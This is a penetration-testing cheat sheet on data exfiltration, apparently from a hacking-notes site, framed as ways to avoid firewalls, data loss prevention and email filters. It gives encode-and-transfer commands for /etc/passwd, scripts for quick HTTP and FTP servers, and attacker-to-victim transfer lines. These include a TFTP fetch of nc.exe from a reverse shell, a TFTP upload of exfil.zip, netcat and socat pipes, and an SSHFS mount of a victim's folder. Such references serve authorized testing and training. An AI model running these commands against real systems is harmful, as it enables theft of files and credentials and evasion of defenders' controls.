Data Exfiltration

{% hint style="success" %} Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.‌ {% endhint %}

{% hint style="danger" %} Not much here yet...please feel free to contribute at my GitHub page. {% endhint %}

The first step to exfiltration is to avoid being caught. This means avoiding firewalls, data loss prevention, email filters, and more. Encoding/encrypting your payload is a good way to do this.

Preparing files for transport

{% tabs %} {% tab title="base64" %} Base64 encode a file

base64 -w0 $file

Base64 decode a file

base64 -d $file

{% endtab %}

{% tab title="uuencode" %} Binary files transfer badly over a terminal connection. There are many ways to convert a binary into base64 or similar and make the file terminal friendly. We can then use a technique described further on to transfer a file to and from a remote system using nothing else but the shell/terminal as a transport medium (e.g. no separate connection).

Encode:

$ uuencode /etc/passwd passwd-COPY
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end

Cut & paste the output (4 lines, starting with 'begin 644 filename') into uudecode to decode:

$ uudecode
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end

{% endtab %}

{% tab title="openssl" %} Openssl can also be used to encode files for transport

Encode:

$ openssl base64 < /etc/passwd

Cut & paste the output then transfer and decode:

$ openssl base64 -d > passwd-COPY

{% endtab %}

{% tab title="xxd" %} You can also use xxd to hex-encode files.

First encode with this command:

$ xxd -p < /etc/passwd

Cut & paste the output into this command: Decode:

$ xxd -p -r passwd-COPY

{% endtab %}

{% tab title="Compression" %}

shar

Use shar to create a self-extracting shell script, which is in text format and can be copied/mailed:

https://linux.die.net/man/1/shar

shar *.py *.c > exfil.shar

Transfer exfil.shar to the remote system by any means and execute it:

chmod +x exfil.shar
./exfil.shar

tar

A tar file is similar to a standard zip archive

tar cfz - *.py *.c | openssl base64 > exfil.tgz.b64

Transfer exfil.tgz.b64 to the remote system and decode:

openssl base64 -d < exfil.tgz.b64 | tar xfz -

{% endtab %} {% endtabs %}

HTTP/HTTPS

One of the easier ways to transfer a file as most devices have web access. Start by finding a directory on the target that you can write to.

# find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;

# wget http://<url> -O url.txt -o /dev/null

Curl has the benefit of being able to transfer with IMAP, POP3, SCP, SFTP, SMB, SMTP, TELNET, TFTP< and other protocols. Experimentation may be needed to figure out what is blocked/allowed by the firewall.

# curl -o file.txt http://url.com

Scripted HTTP Servers

python2 -m SimpleHTTPServer $port
python3 -m http.server $port
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

SimpleHTTPServerWithUpload

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()

FTP

{% tabs %} {% tab title="Python" %}

Python FTP server

#!/usr/bin/env python3
# Author : Paranoid Ninja
# Modified: Zweilos
# Description  : Creates a Simple FTP Server in the specified directory

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
import argparse

def main():
    parser = argparse.ArgumentParser(description="Simple FTP Server for file sharing.")
    parser.add_argument("--port", type=int, default=2121, help="Port to run the FTP server on (default: 2121)")
    parser.add_argument("--user", type=str, default="ninja", help="Username for FTP login (default: ninja)")
    parser.add_argument("--password", type=str, default="ninja", help="Password for FTP login (default: ninja)")
    parser.add_argument("--directory", type=str, default=".", help="Directory to serve files from (default: current directory)")
    args = parser.parse_args()

    authorizer = DummyAuthorizer()
    authorizer.add_user(args.user, args.password, args.directory, perm='elradfmw')

    handler = FTPHandler
    handler.authorizer = authorizer
    handler.banner = "Ninja FTP Server"

    address = ('', args.port)
    server = FTPServer(address, handler)

    server.max_cons = 256
    server.max_cons_per_ip = 5

    print(f"Starting FTP server on port {args.port}, serving files from {args.directory}")
    server.serve_forever()

if __name__ == '__main__':
    main()

You can also use the pyftplib module to quickly and easily set up ftp

#pip3 install pyftpdlib
#python3 -m pyftpdlib -p 21

{% endtab %}

{% tab title="NodeJS" %}

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

{% endtab %}

{% tab title="Pure-FTP" %}

# sudo apt update && sudo apt install pure-ftpd

Config Script

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

{% endtab %} {% endtabs %}

TFTP

Install the TFTP client

sudo apt update && sudo apt install atftp

Download with TFTP

# In Kali 
atftpd --daemon --port 69 /tftp

# In reverse shell
tftp -i 10.10.10.10 GET nc.exe

Upload with TFTP

sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftpd --daemon --port 69 /tftp
tftp -i 10.11.0.4 put exfil.zip

SCP

SCP tranfsers files through SSH See SCP section for more.

Get file
# scp user@<remoteip>:/tmp/file /tmp/file

Put file
# scp /tmp/file user@<remoteIP>:/tmp/file

NetCat from target

#start listener to recieve file
nc -nvlp 55555 > file
#send file to listening system
nc $target_ip 55555 < file

Python HTTP server script

#!/usr/bin/env python3

import argparse
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
import signal
import sys

def list_files(directory, port):
    GN = '\033[92m'  # Green
    CYAN = '\033[96m'  # Cyan
    RES = '\033[0m'  # Reset

    print(f"{GN}Files available for download:{RES}")
    for file in os.listdir(directory):
        if os.path.isfile(os.path.join(directory, file)):
            print(f"{CYAN}wget http://localhost:{port}/{file} -O {file}{RES}")

def handle_interrupt(signal, frame):
    print("\nServer has been shut down gracefully.")
    sys.exit(0)

def main():
    parser = argparse.ArgumentParser(description="Simple HTTP Server for file sharing.")
    parser.add_argument("-p", "--port", type=int, default=8099, help="Port to run the HTTP server on (default: 8099)")
    parser.add_argument("-d", "--directory", type=str, default=os.getcwd(), help="Directory to serve files from (default: current working directory)")
    parser.add_argument("-l", "--links", action="store_true", help="Show wget links for files being served")
    args = parser.parse_args()

    signal.signal(signal.SIGINT, handle_interrupt)

    print(f"\nStarting HTTP server on port {args.port}, serving files from {args.directory}\n")
    os.chdir(args.directory)
    server_address = ('', args.port)
    httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)

    if args.links:
        list_files(args.directory, args.port)

    httpd.serve_forever()

if __name__ == "__main__":
    main()

Other Programs

{% tabs %} {% tab title="Socat" %}

Socat

#to attacker
sudo socat TCP4-LISTEN:$port:fork file:$file_name
#from victim
socat TCP4:$IP:$port file:$filename,create

sudo is necessary if the port is under 1024. fork allows for multiple connections. {% endtab %}

{% tab title="SSHFS" %}

SSHFS

If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

sudo apt install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

{% endtab %} {% endtabs %}